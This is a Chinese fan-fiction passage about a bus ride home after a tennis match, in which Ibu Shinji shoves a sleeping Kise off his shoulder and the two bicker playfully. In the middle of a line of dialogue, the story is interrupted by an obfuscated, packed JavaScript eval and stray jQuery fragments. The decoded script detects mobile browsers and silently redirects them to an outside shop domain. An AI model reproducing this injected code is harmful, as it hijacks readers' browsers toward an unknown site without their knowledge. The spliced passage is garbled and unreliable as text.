回去的时候也是坐大巴,深司特意选了个靠窗的位置先坐下。

    额头抵在玻璃上,凉凉的,太阳从窗玻璃透过来投在他脸上,有点刺眼,他索性把车窗的窗帘拉了过来。

    神尾跟石田还没上车,就站在车边叽叽喳喳,跟石田复盘今天的比赛。一会儿说日向那个跳高式的接球方式以后能不能改良一下,一会儿又石田的波动球今天居然没把防护罩打裂真是个奇迹,甚至还深司跟橘的双打配合得真好。

    当然配合得好,还用你说吗?

    深司听着那些话,懒得睁眼。

    不一会儿,深司感觉到隔壁座位有人坐下来了。

    深司懒得睁眼。不外乎就那么几个人,都是不动峰的熟人。

    大巴开动了,车身晃了一下,深司的额头在玻璃上蹭了一下,不太舒服。于是他把头往旁边偏了偏,换了个姿势靠。

    车里很吵。

    好几个一年级生虽然今天没上场,但依然在激烈地讨论着今天的比赛,说什么的都有,甚至连防护罩的厚度都拿出来对比了一下。

    深司闭着眼睛听了一会儿,坐在他旁边那个人也一直没说话。

    深司不困,只是不想睁开眼说话而已。装作睡着了,能节省很多不必要的交际。

    大巴突然又颠簸了一下。

    深司感觉到肩膀被什么东西碰到了,温热的,有点重量,搭上来大概一两秒就滑下去了。

    他睁开眼。

    黄濑的头歪在座椅靠背上,已经朝着深司这边偏过来了。金色的头发蹭在深司的肩膀上,露出额头。眼睛闭着,睫毛很长,像两把小扇子。鼻梁的线条从侧面看过去尤其高,呼吸很轻。

    睡着了?原来他睡觉也不会打呼噜啊。

    深司盯着他看了几眼。

    黄濑刚才那一下差点靠到深司肩膀上,现在正歪在靠背上,头朝着深司这边偏,离深司的肩膀大概还有一拳的距离。脖子歪着的角度看起来不太舒服,眉头微微皱着,但没醒。

    这样睡,脖子等下会很痛吧……

    不过好像也不关自己的事,深司把视线收回去。

    然后大巴又颠簸了一下。

    黄濑的头又往深司这边歪了一点,这次直接靠上了深司的肩膀。金色的头发蹭在深司的脖颈上,有点痒,还有一点说不清的温度从肩膀传过来。

    深司整个人顿了一下。

    肩膀绷紧了,背挺直了,呼吸都顿了一拍。

    那个人的头靠在他肩膀上,没有重的承受不起,但存在感真的很强。金色的碎发扎在深司的下巴上,痒痒的。呼吸喷也在深司的锁骨附近,隔着运动服的布料,那一小片皮肤在发烫。

    可恶的大巴司机,到底在怎么开车啊!

    深司的手指攥了一下,他有点想把黄濑推开,平时他就是这么干的,谁要是在车上靠他肩膀上,那他肯定会一把掀开的。

    但这次还没来得及,黄濑居然又往深司这边蹭了一下,整个人往深司身上歪,肩膀贴着深司的肩膀,手臂贴着深司的手臂。隔着两层运动服的布料,深司能感觉到他的体温仿佛比自己高了不少,烫得深司那一侧的身体都在发烫。

    深司不解,他歪着头看着窗户。

    玻璃上映着黄濑靠在他肩膀上的影子,但是模模糊糊的完全看不清楚。深司又把视线移开,盯着窗外飞驰而过的树和路灯灯杆,眼睛眨了两下,又眨了两下。

    感觉呼吸有点不畅,深司默默想着,深深地吸了口气,又慢慢地呼出来。

    然后在心里默数了三下。

    一、肩膀放松。

    二、手臂放松。

    三、

    深司一把把黄濑的头从他肩膀上掀开,手掌抵在那个人的额头上,用了点力,把他推到他自己的座椅靠背那边去。

    动作格外的干脆利落,跟他以前掀开神尾的样子没什么区别。

    黄濑的脑袋撞上座椅靠背的软垫,本来应该不会痛,他的眼皮却动了一下,睫毛颤了两下,然后睁开了眼。

    金色的眼睛看起来有点迷茫,不过清醒得很快,深司都来不及看见他眼底的睡意。

    “嗯……?”

    深司已经把手收回去了,正襟危坐在靠窗的位置上,双手搭在膝盖上,面无表情地看着前面座位的靠背,仿佛被广告深深吸引住了。

    黄濑揉了一下额头,皱着眉头,露出了有点迷茫的表情。然后他慢慢坐直,眨了眨眼睛,又揉了揉脖子。靠在座椅靠背上,伸了个懒腰,肩膀拉伸的时候发出一声闷哼。

    “啊……”他转头看深司,金色的眼睛里居然泛出了一点水光,“伊武桑,你刚才是不是打我了?”

    有那么痛吗?居然要哭了?

    “当然没有。”深司当然矢口否认,他本来就没打他。

    “诶,那我的头怎么在疼?”

    “我怎么知道?”而且为什么是头痛,不应该是脖子痛吗?深司虽然不解,但还是回复他,“可能是撞到了吧。”

    “可我旁边明明伊武桑啊,就算撞到,也应该不会痛才对。”

    就一定要赖在自己身上吗?

    深司面无表情地看着前方。

    “那我就不知道了,谁知道你是不是做梦的时候撞到了?”

    黄濑的话被堵了回去,他盯着深司的侧脸看了好几秒。深司的表情没有任何变化,目不斜视,脊背挺直,嘴唇抿成一条线。

    只有耳朵尖那一小片皮肤泛着不太自然的粉色。

    黄濑嘴角微勾。

    “伊武桑,”他的声音拖得有点长,“你是不是趁我睡觉的时候做了什么亏心事?”

    啊?你这后辈在说什么呢?知道我是前辈不?!

    深司转过头瞪他:“我能做什么亏心事?”

    “我怎么知道?反正我醒来的时候头在疼,身边就只有伊武桑。”黄濑嘻嘻一笑,“而且伊武桑,你的耳朵好红啊。”

    简直是胡说八道!

    “那是因为车里太热了。”

    “诶~伊武桑觉得车里很热吗?”黄濑凑过来一点,歪着头盯着深司看,“我倒是不觉得呢。再说了,伊武桑不是向来都怕冷不怕热的吗?手的温度都不高。”

    不高也不代表我不怕热啊,是个人就怕热,好吗?!

    深司面无表情地把脸转向窗户。

    “你今天话太多了。”而且全是废话!

    “诶,伊武桑怎么说这样的话,真让人伤心~”黄濑假哭着揉自己额头,“我觉得肯定是伊武桑下的手。伊武桑你手好重,我额头都红了吧?你看你看——”他不依不饶,一边说着,一边把刘海撩起来,露出额头,凑到深司面前。

    深司被迫看了一眼。这家伙额角确实有一小块红印,现在凑近了看格外明显。

    ……刚才有推这么重吗?

    深司总觉得是被碰瓷了。

    “反正跟我没关系。”

    “呜啊,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629944|203256||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    伊武桑好过分——”黄濑捂着额头,往座椅靠背上一靠,看起来像是真的受了多大的委屈一样,“伊武桑你居然耍赖。身为后辈的我做梦都在想着怎么打好网球,结果还没睡醒就被前辈打醒了,伊武桑你还不承认……”

    深司斜了他一眼。

    “说了我没打你,再胡说八道我就真打了。没打就是没打,干嘛不相信我,难道我不值得信赖吗?怎么可能,我明明就是个可靠的前辈,连橘前辈都说过我现在是越来越可靠了。说起来,我应该是橘前辈最信任的后辈吧,反正不可能是神尾。不过话说回来,你现在这副样子,到底是在哭还是在笑啊,有点搞不懂……”

    黄濑明明做出一副哭的表情,但深司分明看见了他眼底的笑意。

    “当然是哭了,”黄濑的声音里也带了笑意,“伊武桑你听不出来吗?我在哭诶,伊武桑你都不安慰一下我吗?”

    “确实没听出来。不过就算哭了,也别想我哄你,我可做不来这种事。而且,就算你哭了,也跟我没关系,我干嘛要哄你啊!”

    黄濑笑出了声。

    他靠回座椅靠背上,仰着头,笑得肩膀都在抖,笑完了又把头歪向深司那边朝他假哭。

    “呜呜呜,伊武桑好无情啊。”

    深司完全不想搭理他。

    大巴又开了一段路,黄濑没有再靠过来。他就那么坐在旁边,肩膀离深司大概一个拳头的距离。

    车里还是很吵。

    神尾大着嗓门儿在说下周的体能训练,隔了几排的日向大声插嘴,说以后一定要努力训练,神尾跟他对着吼了起来。

    深司面无表情听着那些声音,感觉到旁边那个人的视线时不时落在自己脸上。

    又过了一会儿,黄濑的声音又响起来了。

    “伊武桑~”

    “嗯。”

    “下次要是还有练习赛,我还坐你边上可以吗?”

    深司转过头看他。黄濑的表情跟平时差不多,嘴角微微翘着,眼睛半弯着,笑得像只大型犬。

    深司把视线收回去。

    “你坐哪儿关我什么事?”今天不是没问就自动坐过来了吗?

    “那我当你答应了哦~”

    “我又没答应。”

    “我不管,伊武桑没说不行我就当你答应了。”

    深司不想跟他进行这么没有营养的对话,于是把脸转向窗户。玻璃上映出了那个人的影子,模模糊糊的,只看得见金色的头发和弯起来的嘴角。

    深司看了两秒,把眼睛闭上了。

    可恶。

    他强迫自己想别的事。比如明天早上吃什么,比如下周的灵能指标,比如神尾那个傻子到底什么时候才能控制住他的脚底火焰,比如今天跟橘的双打配合确实不错。

    但不管想什么,那个人的头发扎在下巴上的触感,那个人的呼吸喷在锁骨附近的温度,那个人的手指握在他手臂上的力度,都会一次又一次地冒出来。

    深司把眼睛闭得更紧了。

    “伊武桑——”

    黄濑的声音又响起来了,深司感觉到他的气息靠近,离他的耳朵大概只有几厘米。

    “你睡着了吗?”

    深司没动。

    “好快啊,刚才还醒着呢——”黄濑的声音里带着笑意,好像是在自言自语,“不过伊武桑睡着的样子也好好看,像艺术品一样。”

    深司的睫毛颤了一下。

    他真的开始装睡了。